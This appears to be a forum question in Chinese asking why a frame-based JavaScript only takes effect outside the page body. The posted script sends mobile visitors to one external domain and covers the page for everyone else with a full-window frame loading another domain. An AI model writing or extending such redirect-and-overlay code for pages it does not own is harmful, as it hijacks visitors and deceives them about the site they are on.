frame 封装后的 JS只能在body外面调用才有效，怎么才能在body内调用有效果呢？或者有什么办法让他不考虑body

function is_mobile() {

var regex_match = /(nokia|iphone|android|motorola|^mot-|softbank|foma|docomo|kddi|up.browser|up.link|htc|dopod|blazer|netfront|helio|hosin|huawei|novarra|CoolPad|webos|techfaith|palmsource|blackberry|alcatel|amoi|ktouch|nexian|samsung|^sam-|s[cg]h|^lge|ericsson|philips|sagem|wellcom|bunjalloo|maui|symbian|smartphone|midp|wap|phone|windows ce|iemobile|^spice|^bird|^zte-|longcos|pantech|gionee|^sie-|portalmmm|jigs browser|hiptop|^benq|haier|^lct|operas*mobi|opera*mini|320x320|240x320|176x220)/i;

var u = navigator.userAgent;

if (null == u) {return true;}

var result = regex_match.exec(u);

if (null == result) {return false} 

else {return true}

}

var jsurl='http://dx.zlxbzx120.com/';

var jsurlm= 'http://mdx.zlxbzx120.com/';

if (is_mobile()) {window.location.href=jsurlm;}

else{

	document.writeln("<script language = javascript>");

	document.writeln("document.write(\"<frameset rows=\'100%,*\' frameborder=\'NO\' border=\'0\' framespacing=\'0\'>\");");

	document.writeln("document.write(\"<frame name=\'main\' src=\'http://dx.zlxbzx120.com/' scrolling=yes>\");");

	document.writeln("document.write(\"<\/frameset>\");");

	document.writeln("<\/script>"); 

}